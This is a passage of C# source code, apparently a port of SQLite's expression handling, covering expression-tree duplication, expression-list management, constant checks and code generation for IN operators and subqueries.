argument. This is always one of EXPR_FULLSIZE, ** EXPR_REDUCEDSIZE or EXPR_TOKENONLYSIZE. */ static int exprStructSize( Expr p ) { if ( ExprHasProperty( p, EP_TokenOnly ) ) return EXPR_TOKENONLYSIZE; if ( ExprHasProperty( p, EP_Reduced ) ) return EXPR_REDUCEDSIZE; return EXPR_FULLSIZE; } /* ** The dupedExpr*Size() routines each return the number of bytes required ** to store a copy of an expression or expression tree. They differ in ** how much of the tree is measured. ** ** dupedExprStructSize() Size of only the Expr structure ** dupedExprNodeSize() Size of Expr + space for token ** dupedExprSize() Expr + token + subtree components ** *************************************************************************** ** ** The dupedExprStructSize() function returns two values OR-ed together: ** (1) the space required for a copy of the Expr structure only and ** (2) the EP_xxx flags that indicate what the structure size should be. ** The return values is always one of: ** ** EXPR_FULLSIZE ** EXPR_REDUCEDSIZE | EP_Reduced ** EXPR_TOKENONLYSIZE | EP_TokenOnly ** ** The size of the structure can be found by masking the return value ** of this routine with 0xfff. The flags can be found by masking the ** return value with EP_Reduced|EP_TokenOnly. ** ** Note that with flags==EXPRDUP_REDUCE, this routines works on full-size ** (unreduced) Expr objects as they or originally constructed by the parser. ** During expression analysis, extra information is computed and moved into ** later parts of teh Expr object and that extra information might get chopped ** off if the expression is reduced. Note also that it does not work to ** make a EXPRDUP_REDUCE copy of a reduced expression. It is only legal ** to reduce a pristine expression tree from the parser. The implementation ** of dupedExprStructSize() contain multiple assert() statements that attempt ** to enforce this constraint. */ static int dupedExprStructSize( Expr p, int flags ) { int nSize; Debug.Assert( flags == EXPRDUP_REDUCE || flags == 0 ); /* Only one flag value allowed */ if ( 0 == ( flags & EXPRDUP_REDUCE ) ) { nSize = EXPR_FULLSIZE; } else { Debug.Assert( !ExprHasAnyProperty( p, EP_TokenOnly | EP_Reduced ) ); Debug.Assert( !ExprHasProperty( p, EP_FromJoin ) ); Debug.Assert( ( p.flags2 & EP2_MallocedToken ) == 0 ); Debug.Assert( ( p.flags2 & EP2_Irreducible ) == 0 ); if ( p.pLeft != null || p.pRight != null || p.pColl != null || p.x.pList != null || p.x.pSelect != null ) { nSize = EXPR_REDUCEDSIZE | EP_Reduced; } else { nSize = EXPR_TOKENONLYSIZE | EP_TokenOnly; } } return nSize; } /* ** This function returns the space in bytes required to store the copy ** of the Expr structure and a copy of the Expr.u.zToken string (if that ** string is defined.) */ static int dupedExprNodeSize( Expr p, int flags ) { int nByte = dupedExprStructSize( p, flags ) & 0xfff; if ( !ExprHasProperty( p, EP_IntValue ) && p.u.zToken != null ) { nByte += sqlite3Strlen30( p.u.zToken ) + 1; } return ROUND8( nByte ); } /* ** Return the number of bytes required to create a duplicate of the ** expression passed as the first argument. The second argument is a ** mask containing EXPRDUP_XXX flags. ** ** The value returned includes space to create a copy of the Expr struct ** itself and the buffer referred to by Expr.u.zToken, if any. ** ** If the EXPRDUP_REDUCE flag is set, then the return value includes ** space to duplicate all Expr nodes in the tree formed by Expr.pLeft ** and Expr.pRight variables (but not for any structures pointed to or ** descended from the Expr.x.pList or Expr.x.pSelect variables). */ static int dupedExprSize( Expr p, int flags ) { int nByte = 0; if ( p != null ) { nByte = dupedExprNodeSize( p, flags ); if ( ( flags & EXPRDUP_REDUCE ) != 0 ) { nByte += dupedExprSize( p.pLeft, flags ) + dupedExprSize( p.pRight, flags ); } } return nByte; } /* ** This function is similar to sqlite3ExprDup(), except that if pzBuffer ** is not NULL then *pzBuffer is assumed to point to a buffer large enough ** to store the copy of expression p, the copies of p->u.zToken ** (if applicable), and the copies of the p->pLeft and p->pRight expressions, ** if any. Before returning, *pzBuffer is set to the first byte passed the ** portion of the buffer copied into by this function. */ static Expr exprDup( sqlite3 db, Expr p, int flags, ref Expr pzBuffer ) { Expr pNew = null; /* Value to return */ if ( p != null ) { bool isReduced = ( flags & EXPRDUP_REDUCE ) != 0; Expr zAlloc = new Expr(); u32 staticFlag = 0; Debug.Assert( pzBuffer == null || isReduced ); /* Figure out where to write the new Expr structure. */ //if ( pzBuffer !=null) //{ // zAlloc = pzBuffer; // staticFlag = EP_Static; //} //else //{ // zAlloc = new Expr();//sqlite3DbMallocRaw( db, dupedExprSize( p, flags ) ); //} pNew = p.Copy_Minimal();// (Expr*)zAlloc; if ( pNew != null ) { /* Set nNewSize to the size allocated for the structure pointed to ** by pNew. This is either EXPR_FULLSIZE, EXPR_REDUCEDSIZE or ** EXPR_TOKENONLYSIZE. nToken is set to the number of bytes consumed ** by the copy of the p->u.zToken string (if any). */ int nStructSize = dupedExprStructSize( p, flags ); int nNewSize = nStructSize & 0xfff; int nToken; if ( !ExprHasProperty( p, EP_IntValue ) && !String.IsNullOrEmpty( p.u.zToken ) ) { nToken = sqlite3Strlen30( p.u.zToken ); } else { nToken = 0; } if ( isReduced ) { Debug.Assert( !ExprHasProperty( p, EP_Reduced ) ); //memcpy( zAlloc, p, nNewSize ); } else { int nSize = exprStructSize( p ); //memcpy( zAlloc, p, nSize ); //memset( &zAlloc[nSize], 0, EXPR_FULLSIZE - nSize ); } /* Set the EP_Reduced, EP_TokenOnly, and EP_Static flags appropriately. */ unchecked { pNew.flags &= (ushort)( ~( EP_Reduced | EP_TokenOnly | EP_Static ) ); } pNew.flags |= (ushort)( nStructSize & ( EP_Reduced | EP_TokenOnly ) ); pNew.flags |= (ushort)staticFlag; /* Copy the p->u.zToken string, if any. */ if ( nToken != 0 ) { string zToken;// = pNew.u.zToken = (char*)&zAlloc[nNewSize]; zToken = p.u.zToken.Substring( 0, nToken );// memcpy( zToken, p.u.zToken, nToken ); } if ( 0 == ( ( p.flags | pNew.flags ) & EP_TokenOnly ) ) { /* Fill in the pNew.x.pSelect or pNew.x.pList member. */ if ( ExprHasProperty( p, EP_xIsSelect ) ) { pNew.x.pSelect = sqlite3SelectDup( db, p.x.pSelect, isReduced ? 1 : 0 ); } else { pNew.x.pList = sqlite3ExprListDup( db, p.x.pList, isReduced ? 1 : 0 ); } } /* Fill in pNew.pLeft and pNew.pRight. */ if ( ExprHasAnyProperty( pNew, EP_Reduced | EP_TokenOnly ) ) { //zAlloc += dupedExprNodeSize( p, flags ); if ( ExprHasProperty( pNew, EP_Reduced ) ) { pNew.pLeft = exprDup( db, p.pLeft, EXPRDUP_REDUCE, ref zAlloc ); pNew.pRight = exprDup( db, p.pRight, EXPRDUP_REDUCE, ref zAlloc ); } if ( pzBuffer != null ) { pzBuffer = zAlloc; } } else { pNew.flags2 = 0; if ( !ExprHasAnyProperty( p, EP_TokenOnly ) ) { pNew.pLeft = sqlite3ExprDup( db, p.pLeft, 0 ); pNew.pRight = sqlite3ExprDup( db, p.pRight, 0 ); } } } } return pNew; } /* ** The following group of routines make deep copies of expressions, ** expression lists, ID lists, and select statements. The copies can ** be deleted (by being passed to their respective ...Delete() routines) ** without effecting the originals. ** ** The expression list, ID, and source lists return by sqlite3ExprListDup(), ** sqlite3IdListDup(), and sqlite3SrcListDup() can not be further expanded ** by subsequent calls to sqlite*ListAppend() routines. ** ** Any tables that the SrcList might point to are not duplicated. ** ** The flags parameter contains a combination of the EXPRDUP_XXX flags. ** If the EXPRDUP_REDUCE flag is set, then the structure returned is a ** truncated version of the usual Expr structure that will be stored as ** part of the in-memory representation of the database schema. */ static Expr sqlite3ExprDup( sqlite3 db, Expr p, int flags ) { Expr ExprDummy = null; return exprDup( db, p, flags, ref ExprDummy ); } static ExprList sqlite3ExprListDup( sqlite3 db, ExprList p, int flags ) { ExprList pNew; ExprList_item pItem; ExprList_item pOldItem; int i; if ( p == null ) return null; pNew = new ExprList();//sqlite3DbMallocRaw(db, sizeof(*pNew) ); if ( pNew == null ) return null; pNew.iECursor = 0; pNew.nExpr = pNew.nAlloc = p.nExpr; pNew.a = new ExprList_item[p.nExpr];//sqlite3DbMallocRaw(db, p.nExpr*sizeof(p.a[0]) ); //if( pItem==null ){ // //sqlite3DbFree(db,ref pNew); // return null; //} //pOldItem = p.a; for ( i = 0 ; i < p.nExpr ; i++ ) {//pItem++, pOldItem++){ pItem = pNew.a[i] = new ExprList_item(); pOldItem = p.a[i]; Expr pOldExpr = pOldItem.pExpr; pItem.pExpr = sqlite3ExprDup( db, pOldExpr, flags ); pItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName); pItem.zSpan = pOldItem.zSpan;// sqlite3DbStrDup( db, pOldItem.zSpan ); pItem.sortOrder = pOldItem.sortOrder; pItem.done = 0; pItem.iCol = pOldItem.iCol; pItem.iAlias = pOldItem.iAlias; } return pNew; } /* ** If cursors, triggers, views and subqueries are all omitted from ** the build, then none of the following routines, except for ** sqlite3SelectDup(), can be called. sqlite3SelectDup() is sometimes ** called with a NULL argument. */ #if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER || !SQLITE_OMIT_SUBQUERY static SrcList sqlite3SrcListDup( sqlite3 db, SrcList p, int flags ) { SrcList pNew; int i; int nByte; if ( p == null ) return null; //nByte = sizeof(*p) + (p.nSrc>0 ? sizeof(p.a[0]) * (p.nSrc-1) : 0); pNew = new SrcList();//sqlite3DbMallocRaw(db, nByte ); if ( p.nSrc > 0 ) pNew.a = new SrcList_item[p.nSrc]; if ( pNew == null ) return null; pNew.nSrc = pNew.nAlloc = p.nSrc; for ( i = 0 ; i < p.nSrc ; i++ ) { pNew.a[i] = new SrcList_item(); SrcList_item pNewItem = pNew.a[i]; SrcList_item pOldItem = p.a[i]; Table pTab; pNewItem.zDatabase = pOldItem.zDatabase;// sqlite3DbStrDup(db, pOldItem.zDatabase); pNewItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName); pNewItem.zAlias = pOldItem.zAlias;// sqlite3DbStrDup(db, pOldItem.zAlias); pNewItem.jointype = pOldItem.jointype; pNewItem.iCursor = pOldItem.iCursor; pNewItem.isPopulated = pOldItem.isPopulated; pNewItem.zIndex = pOldItem.zIndex;// sqlite3DbStrDup( db, pOldItem.zIndex ); pNewItem.notIndexed = pOldItem.notIndexed; pNewItem.pIndex = pOldItem.pIndex; pTab = pNewItem.pTab = pOldItem.pTab; if ( pTab != null ) { pTab.nRef++; } pNewItem.pSelect = sqlite3SelectDup( db, pOldItem.pSelect, flags ); pNewItem.pOn = sqlite3ExprDup( db, pOldItem.pOn, flags ); pNewItem.pUsing = sqlite3IdListDup( db, pOldItem.pUsing ); pNewItem.colUsed = pOldItem.colUsed; } return pNew; } static IdList sqlite3IdListDup( sqlite3 db, IdList p ) { IdList pNew; int i; if ( p == null ) return null; pNew = new IdList();//sqlite3DbMallocRaw(db, sizeof(*pNew) ); if ( pNew == null ) return null; pNew.nId = pNew.nAlloc = p.nId; pNew.a = new IdList_item[p.nId];//sqlite3DbMallocRaw(db, p.nId*sizeof(p.a[0]) ); if ( pNew.a == null ) { //sqlite3DbFree( db, ref pNew ); return null; } for ( i = 0 ; i < p.nId ; i++ ) { pNew.a[i] = new IdList_item(); IdList_item pNewItem = pNew.a[i]; IdList_item pOldItem = p.a[i]; pNewItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName); pNewItem.idx = pOldItem.idx; } return pNew; } static Select sqlite3SelectDup( sqlite3 db, Select p, int flags ) { Select pNew; if ( p == null ) return null; pNew = new Select();//sqlite3DbMallocRaw(db, sizeof(*p) ); if ( pNew == null ) return null; pNew.pEList = sqlite3ExprListDup( db, p.pEList, flags ); pNew.pSrc = sqlite3SrcListDup( db, p.pSrc, flags ); pNew.pWhere = sqlite3ExprDup( db, p.pWhere, flags ); pNew.pGroupBy = sqlite3ExprListDup( db, p.pGroupBy, flags ); pNew.pHaving = sqlite3ExprDup( db, p.pHaving, flags ); pNew.pOrderBy = sqlite3ExprListDup( db, p.pOrderBy, flags ); pNew.op = p.op; pNew.pPrior = sqlite3SelectDup( db, p.pPrior, flags ); pNew.pLimit = sqlite3ExprDup( db, p.pLimit, flags ); pNew.pOffset = sqlite3ExprDup( db, p.pOffset, flags ); pNew.iLimit = 0; pNew.iOffset = 0; pNew.selFlags = (u16)( p.selFlags & ~SF_UsesEphemeral ); pNew.pRightmost = null; pNew.addrOpenEphm[0] = -1; pNew.addrOpenEphm[1] = -1; pNew.addrOpenEphm[2] = -1; return pNew; } #else Select sqlite3SelectDup(sqlite3 db, Select p, int flags){ Debug.Assert( p==null ); return null; } #endif /* ** Add a new element to the end of an expression list. If pList is ** initially NULL, then create a new expression list. ** ** If a memory allocation error occurs, the entire list is freed and ** NULL is returned. If non-NULL is returned, then it is guaranteed ** that the new entry was successfully appended. */ // OVERLOADS, so I don't need to rewrite parse.c static ExprList sqlite3ExprListAppend( Parse pParse, int null_2, Expr pExpr ) { return sqlite3ExprListAppend( pParse, null, pExpr ); } static ExprList sqlite3ExprListAppend( Parse pParse, /* Parsing context */ ExprList pList, /* List to which to append. Might be NULL */ Expr pExpr /* Expression to be appended. Might be NULL */ ) { sqlite3 db = pParse.db; if ( pList == null ) { pList = new ExprList(); //sqlite3DbMallocZero(db, ExprList).Length; if ( pList == null ) { goto no_mem; } Debug.Assert( pList.nAlloc == 0 ); } if ( pList.nAlloc <= pList.nExpr ) { ExprList_item a; int n = pList.nAlloc * 2 + 4; //a = sqlite3DbRealloc(db, pList.a, n*sizeof(pList.a[0])); //if( a==0 ){ // goto no_mem; //} Array.Resize( ref pList.a, n );// = a; pList.nAlloc = pList.a.Length;// sqlite3DbMallocSize(db, a)/sizeof(a[0]); } Debug.Assert( pList.a != null ); if ( true ) { pList.a[pList.nExpr] = new ExprList_item(); ; ExprList_item pItem = pList.a[pList.nExpr++]; //pItem = new ExprList_item();//memset(pItem, 0, sizeof(*pItem)); pItem.pExpr = pExpr; } return pList; no_mem: /* Avoid leaking memory if malloc has failed. */ sqlite3ExprDelete( db, ref pExpr ); sqlite3ExprListDelete( db, ref pList ); return null; } /* ** Set the ExprList.a[].zName element of the most recently added item ** on the expression list. ** ** pList might be NULL following an OOM error. But pName should never be ** NULL. If a memory allocation fails, the pParse.db.mallocFailed flag ** is set. */ static void sqlite3ExprListSetName( Parse pParse, /* Parsing context */ ExprList pList, /* List to which to add the span. */ Token pName, /* Name to be added */ int dequote /* True to cause the name to be dequoted */ ) { Debug.Assert( pList != null /* || pParse.db.mallocFailed != 0 */ ); if ( pList != null ) { ExprList_item pItem; Debug.Assert( pList.nExpr > 0 ); pItem = pList.a[pList.nExpr - 1]; Debug.Assert( pItem.zName == null ); pItem.zName = pName.z.Substring( 0, pName.n );//sqlite3DbStrNDup(pParse.db, pName.z, pName.n); if ( dequote != 0 && !String.IsNullOrEmpty( pItem.zName ) ) sqlite3Dequote( ref pItem.zName ); } } /* ** Set the ExprList.a[].zSpan element of the most recently added item ** on the expression list. ** ** pList might be NULL following an OOM error. But pSpan should never be ** NULL. If a memory allocation fails, the pParse.db.mallocFailed flag ** is set. */ static void sqlite3ExprListSetSpan( Parse pParse, /* Parsing context */ ExprList pList, /* List to which to add the span. */ ExprSpan pSpan /* The span to be added */ ) { sqlite3 db = pParse.db; Debug.Assert( pList != null /*|| db.mallocFailed != 0 */ ); if ( pList != null ) { ExprList_item pItem = pList.a[pList.nExpr - 1]; Debug.Assert( pList.nExpr > 0 ); Debug.Assert( /* db.mallocFailed != 0 || */ pItem.pExpr == pSpan.pExpr ); //sqlite3DbFree( db, pItem.zSpan ); pItem.zSpan = pSpan.zStart.Substring( 0, pSpan.zStart.Length <= pSpan.zEnd.Length ? pSpan.zStart.Length : pSpan.zStart.Length - pSpan.zEnd.Length );// sqlite3DbStrNDup( db, pSpan.zStart, //(int)( pSpan.zEnd- pSpan.zStart) ); } } /* ** If the expression list pEList contains more than iLimit elements, ** leave an error message in pParse. */ static void sqlite3ExprListCheckLength( Parse pParse, ExprList pEList, string zObject ) { int mx = pParse.db.aLimit[SQLITE_LIMIT_COLUMN]; testcase( pEList != null && pEList.nExpr == mx ); testcase( pEList != null && pEList.nExpr == mx + 1 ); if ( pEList != null && pEList.nExpr > mx ) { sqlite3ErrorMsg( pParse, "too many columns in %s", zObject ); } } /* ** Delete an entire expression list. */ static void sqlite3ExprListDelete( sqlite3 db, ref ExprList pList ) { int i; ExprList_item pItem; if ( pList == null ) return; Debug.Assert( pList.a != null || ( pList.nExpr == 0 && pList.nAlloc == 0 ) ); Debug.Assert( pList.nExpr <= pList.nAlloc ); for ( i = 0 ; i < pList.nExpr ; i++ ) { if ( ( pItem = pList.a[i] ) != null ) { sqlite3ExprDelete( db, ref pItem.pExpr ); //sqlite3DbFree( db, ref pItem.zName ); //sqlite3DbFree( db, ref pItem.zSpan ); } } //sqlite3DbFree( db, ref pList.a ); //sqlite3DbFree( db, ref pList ); } /* ** These routines are Walker callbacks. Walker.u.pi is a pointer ** to an integer. These routines are checking an expression to see ** if it is a constant. Set *Walker.u.pi to 0 if the expression is ** not constant. ** ** These callback routines are used to implement the following: ** ** sqlite3ExprIsConstant() ** sqlite3ExprIsConstantNotJoin() ** sqlite3ExprIsConstantOrFunction() ** */ static int exprNodeIsConstant( Walker pWalker, ref Expr pExpr ) { /* If pWalker.u.i is 3 then any term of the expression that comes from ** the ON or USING clauses of a join disqualifies the expression ** from being considered constant. */ if ( pWalker.u.i == 3 && ExprHasAnyProperty( pExpr, EP_FromJoin ) ) { pWalker.u.i = 0; return WRC_Abort; } switch ( pExpr.op ) { /* Consider functions to be constant if all their arguments are constant ** and pWalker.u.i==2 */ case TK_FUNCTION: if ( ( pWalker.u.i ) == 2 ) return 0; goto case TK_ID; /* Fall through */ case TK_ID: case TK_COLUMN: case TK_AGG_FUNCTION: case TK_AGG_COLUMN: testcase( pExpr.op == TK_ID ); testcase( pExpr.op == TK_COLUMN ); testcase( pExpr.op == TK_AGG_FUNCTION ); testcase( pExpr.op == TK_AGG_COLUMN ); pWalker.u.i = 0; return WRC_Abort; default: testcase( pExpr.op == TK_SELECT ); /* selectNodeIsConstant will disallow */ testcase( pExpr.op == TK_EXISTS ); /* selectNodeIsConstant will disallow */ return WRC_Continue; } } static int selectNodeIsConstant( Walker pWalker, Select NotUsed ) { UNUSED_PARAMETER( NotUsed ); pWalker.u.i = 0; return WRC_Abort; } static int exprIsConst( Expr p, int initFlag ) { Walker w = new Walker(); w.u.i = initFlag; w.xExprCallback = exprNodeIsConstant; w.xSelectCallback = selectNodeIsConstant; sqlite3WalkExpr( w, ref p ); return w.u.i; } /* ** Walk an expression tree. Return 1 if the expression is constant ** and 0 if it involves variables or function calls. ** ** For the purposes of this function, a double-quoted string (ex: "abc") ** is considered a variable but a single-quoted string (ex: 'abc') is ** a constant. */ static int sqlite3ExprIsConstant( Expr p ) { return exprIsConst( p, 1 ); } /* ** Walk an expression tree. Return 1 if the expression is constant ** that does no originate from the ON or USING clauses of a join. ** Return 0 if it involves variables or function calls or terms from ** an ON or USING clause. */ static int sqlite3ExprIsConstantNotJoin( Expr p ) { return exprIsConst( p, 3 ); } /* ** Walk an expression tree. Return 1 if the expression is constant ** or a function call with constant arguments. Return and 0 if there ** are any variables. ** ** For the purposes of this function, a double-quoted string (ex: "abc") ** is considered a variable but a single-quoted string (ex: 'abc') is ** a constant. */ static int sqlite3ExprIsConstantOrFunction( Expr p ) { return exprIsConst( p, 2 ); } /* ** If the expression p codes a constant integer that is small enough ** to fit in a 32-bit integer, return 1 and put the value of the integer ** in pValue. If the expression is not an integer or if it is too big ** to fit in a signed 32-bit integer, return 0 and leave pValue unchanged. */ static int sqlite3ExprIsInteger( Expr p, ref int pValue ) { int rc = 0; if ( ( p.flags & EP_IntValue ) != 0 ) { pValue = (int)p.u.iValue; return 1; } switch ( p.op ) { case TK_INTEGER: { rc = sqlite3GetInt32( p.u.zToken, ref pValue ) ? 1 : 0; Debug.Assert( rc == 0 ); break; } case TK_UPLUS: { rc = sqlite3ExprIsInteger( p.pLeft, ref pValue ); break; } case TK_UMINUS: { int v = 0; if ( sqlite3ExprIsInteger( p.pLeft, ref v ) != 0 ) { pValue = -v; rc = 1; } break; } default: break; } if ( rc != 0 ) { Debug.Assert( ExprHasAnyProperty( p, EP_Reduced | EP_TokenOnly ) || ( p.flags2 & EP2_MallocedToken ) == 0 ); p.op = TK_INTEGER; p.flags |= EP_IntValue; p.u.iValue = pValue; } return rc; } /* ** Return TRUE if the given string is a row-id column name. */ static bool sqlite3IsRowid( string z ) { if ( sqlite3StrICmp( z, "_ROWID_" ) == 0 ) return true; if ( sqlite3StrICmp( z, "ROWID" ) == 0 ) return true; if ( sqlite3StrICmp( z, "OID" ) == 0 ) return true; return false; } /* ** Return true if we are able to the IN operator optimization on a ** query of the form ** ** x IN (SELECT ...) ** ** Where the SELECT... clause is as specified by the parameter to this ** routine. ** ** The Select object passed in has already been preprocessed and no ** errors have been found. */ #if !SQLITE_OMIT_SUBQUERY static int isCandidateForInOpt( Select p ) { SrcList pSrc; ExprList pEList; Table pTab; if ( p == null ) return 0; /* right-hand side of IN is SELECT */ if ( p.pPrior != null ) return 0; /* Not a compound SELECT */ if ( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) != 0 ) { testcase( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct ); testcase( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Aggregate ); return 0; /* No DISTINCT keyword and no aggregate functions */ } Debug.Assert( p.pGroupBy == null ); /* Has no GROUP BY clause */ if ( p.pLimit != null ) return 0; /* Has no LIMIT clause */ Debug.Assert( p.pOffset == null ); /* No LIMIT means no OFFSET */ if ( p.pWhere != null ) return 0; /* Has no WHERE clause */ pSrc = p.pSrc; Debug.Assert( pSrc != null ); if ( pSrc.nSrc != 1 ) return 0; /* Single term in FROM clause */ if ( pSrc.a[0].pSelect != null ) return 0; /* FROM is not a subquery or view */ pTab = pSrc.a[0].pTab; if ( NEVER( pTab == null ) ) return 0; Debug.Assert( pTab.pSelect == null ); /* FROM clause is not a view */ if ( IsVirtual( pTab ) ) return 0; /* FROM clause not a virtual table */ pEList = p.pEList; if ( pEList.nExpr != 1 ) return 0; /* One column in the result set */ if ( pEList.a[0].pExpr.op != TK_COLUMN ) return 0; /* Result is a column */ return 1; } #endif //* SQLITE_OMIT_SUBQUERY */ /* ** This function is used by the implementation of the IN (...) operator. ** It's job is to find or create a b-tree structure that may be used ** either to test for membership of the (...) set or to iterate through ** its members, skipping duplicates. ** ** The index of the cursor opened on the b-tree (database table, database index ** or ephermal table) is stored in pX->iTable before this function returns. ** The returned value of this function indicates the b-tree type, as follows: ** ** IN_INDEX_ROWID - The cursor was opened on a database table. ** IN_INDEX_INDEX - The cursor was opened on a database index. ** IN_INDEX_EPH - The cursor was opened on a specially created and ** populated epheremal table. ** ** An existing b-tree may only be used if the SELECT is of the simple ** form: ** ** SELECT FROM ** ** If the prNotFound parameter is 0, then the b-tree will be used to iterate ** through the set members, skipping any duplicates. In this case an ** epheremal table must be used unless the selected is guaranteed ** to be unique - either because it is an INTEGER PRIMARY KEY or it ** has a UNIQUE constraint or UNIQUE index. ** ** If the prNotFound parameter is not 0, then the b-tree will be used ** for fast set membership tests. In this case an epheremal table must ** be used unless is an INTEGER PRIMARY KEY or an index can ** be found with as its left-most column. ** ** When the b-tree is being used for membership tests, the calling function ** needs to know whether or not the structure contains an SQL NULL ** value in order to correctly evaluate expressions like "X IN (Y, Z)". ** If there is a chance that the b-tree might contain a NULL value at ** runtime, then a register is allocated and the register number written ** to *prNotFound. If there is no chance that the b-tree contains a ** NULL value, then *prNotFound is left unchanged. ** ** If a register is allocated and its location stored in *prNotFound, then ** its initial value is NULL. If the b-tree does not remain constant ** for the duration of the query (i.e. the SELECT that generates the b-tree ** is a correlated subquery) then the value of the allocated register is ** reset to NULL each time the b-tree is repopulated. This allows the ** caller to use vdbe code equivalent to the following: ** ** if( register==NULL ){ ** has_null = ** register = 1 ** } ** ** in order to avoid running the ** test more often than is necessary. */ #if !SQLITE_OMIT_SUBQUERY static int sqlite3FindInIndex( Parse pParse, Expr pX, ref int prNotFound ) { Select p; /* SELECT to the right of IN operator */ int eType = 0; /* Type of RHS table. IN_INDEX_* */ int iTab = pParse.nTab++; /* Cursor of the RHS table */ bool mustBeUnique = ( prNotFound != 0 ); /* True if RHS must be unique */ /* Check to see if an existing table or index can be used to ** satisfy the query. This is preferable to generating a new ** ephemeral table. */ p = ( ExprHasProperty( pX, EP_xIsSelect ) ? pX.x.pSelect : null ); if ( ALWAYS( pParse.nErr == 0 ) && isCandidateForInOpt( p ) != 0 ) { sqlite3 db = pParse.db; /* Database connection */ Expr pExpr = p.pEList.a[0].pExpr; /* Expression */ int iCol = pExpr.iColumn; /* Index of column */ Vdbe v = sqlite3GetVdbe( pParse ); /* Virtual machine being coded */ Table pTab = p.pSrc.a[0].pTab; /* Table
    . */ int iDb; /* Database idx for pTab */ /* Code an OP_VerifyCookie and OP_TableLock for
    . */ iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); sqlite3CodeVerifySchema( pParse, iDb ); sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName ); /* This function is only called from two places. In both cases the vdbe ** has already been allocated. So assume sqlite3GetVdbe() is always ** successful here. */ Debug.Assert( v != null ); if ( iCol < 0 ) { int iMem = ++pParse.nMem; int iAddr; sqlite3VdbeUsesBtree( v, iDb ); iAddr = sqlite3VdbeAddOp1( v, OP_If, iMem ); sqlite3VdbeAddOp2( v, OP_Integer, 1, iMem ); sqlite3OpenTable( pParse, iTab, iDb, pTab, OP_OpenRead ); eType = IN_INDEX_ROWID; sqlite3VdbeJumpHere( v, iAddr ); } else { Index pIdx; /* Iterator variable */ /* The collation sequence used by the comparison. If an index is to ** be used in place of a temp.table, it must be ordered according ** to this collation sequence. */ CollSeq pReq = sqlite3BinaryCompareCollSeq( pParse, pX.pLeft, pExpr ); /* Check that the affinity that will be used to perform the ** comparison is the same as the affinity of the column. If ** it is not, it is not possible to use any index. */ char aff = comparisonAffinity( pX ); bool affinity_ok = ( pTab.aCol[iCol].affinity == aff || aff == SQLITE_AFF_NONE ); for ( pIdx = pTab.pIndex ; pIdx != null && eType == 0 && affinity_ok ; pIdx = pIdx.pNext ) { if ( ( pIdx.aiColumn[0] == iCol ) && ( sqlite3FindCollSeq( db, ENC( db ), pIdx.azColl[0], 0 ) == pReq ) && ( mustBeUnique == false || ( pIdx.nColumn == 1 && pIdx.onError != OE_None ) ) ) { int iMem = ++pParse.nMem; int iAddr; KeyInfo pKey; pKey = sqlite3IndexKeyinfo( pParse, pIdx ); iDb = sqlite3SchemaToIndex( db, pIdx.pSchema ); sqlite3VdbeUsesBtree( v, iDb ); iAddr = sqlite3VdbeAddOp1( v, OP_If, iMem ); sqlite3VdbeAddOp2( v, OP_Integer, 1, iMem ); sqlite3VdbeAddOp4( v, OP_OpenRead, iTab, pIdx.tnum, iDb, pKey, P4_KEYINFO_HANDOFF ); #if SQLITE_DEBUG VdbeComment( v, "%s", pIdx.zName ); #endif eType = IN_INDEX_INDEX; sqlite3VdbeJumpHere( v, iAddr ); if ( //prNotFound != null && -- always exists under C# pTab.aCol[iCol].notNull == 0 ) { prNotFound = ++pParse.nMem; } } } } } if ( eType == 0 ) { /* Could not found an existing able or index to use as the RHS b-tree. ** We will have to generate an ephemeral table to do the job. */ int rMayHaveNull = 0; eType = IN_INDEX_EPH; if ( prNotFound != -1 ) // Klude to show prNotFound not available { prNotFound = rMayHaveNull = ++pParse.nMem; } else if ( pX.pLeft.iColumn < 0 && !ExprHasAnyProperty( pX, EP_xIsSelect ) ) { eType = IN_INDEX_ROWID; } sqlite3CodeSubselect( pParse, pX, rMayHaveNull, eType == IN_INDEX_ROWID ); } else { pX.iTable = iTab; } return eType; } #endif /* ** Generate code for scalar subqueries used as an expression ** and IN operators. Examples: ** ** (SELECT a FROM b) -- subquery ** EXISTS (SELECT a FROM b) -- EXISTS subquery ** x IN (4,5,11) -- IN operator with list on right-hand side ** x IN (SELECT a FROM b) -- IN operator with subquery on the right ** ** The pExpr parameter describes the expression that contains the IN ** operator or subquery. ** ** If parameter isRowid is non-zero, then expression pExpr is guaranteed ** to be of the form " IN (?, ?, ?)", where is a reference ** to some integer key column of a table B-Tree. In this case, use an ** intkey B-Tree to store the set of IN(...) values instead of the usual ** (slower) variable length keys B-Tree. ** ** If rMayHaveNull is non-zero, that means that the operation is an IN ** (not a SELECT or EXISTS) and that the RHS might contains NULLs. ** Furthermore, the IN is in a WHERE clause and that we really want ** to iterate over the RHS of the IN operator in order to quickly locate ** all corresponding LHS elements. All this routine does is initialize ** the register given by rMayHaveNull to NULL. Calling routines will take ** care of changing this register value to non-NULL if the RHS is NULL-free. ** ** If rMayHaveNull is zero, that means that the subquery is being used ** for membership testing only. There is no need to initialize any ** registers to indicate the presense or absence of NULLs on the RHS. */ #if !SQLITE_OMIT_SUBQUERY static void sqlite3CodeSubselect( Parse pParse, /* Parsing context */ Expr pExpr, /* The IN, SELECT, or EXISTS operator */ int rMayHaveNull, /* Register that records whether NULLs exist in RHS */ bool isRowid /* If true, LHS of IN operator is a rowid */ ) { int testAddr = 0; /* One-time test address */ Vdbe v = sqlite3GetVdbe( pParse ); if ( NEVER( v == null ) ) return; sqlite3ExprCachePush( pParse ); /* This code must be run in its entirety every time it is encountered ** if any of the following is true: ** ** * The right-hand side is a correlated subquery ** * The right-hand side is an expression list containing variables ** * We are inside a trigger ** ** If all of the above are false, then we can run this code just once ** save the results, and reuse the same result on subsequent invocations. */ if ( !ExprHasAnyProperty( pExpr, EP_VarSelect ) && null == pParse.trigStack ) { int mem = ++pParse.nMem; sqlite3VdbeAddOp1( v, OP_If, mem ); testAddr = sqlite3VdbeAddOp2( v, OP_Integer, 1, mem ); Debug.Assert( testAddr > 0 /* || pParse.db.mallocFailed != 0 */ ); } switch ( pExpr.op ) { case TK_IN: { char affinity; KeyInfo keyInfo; int 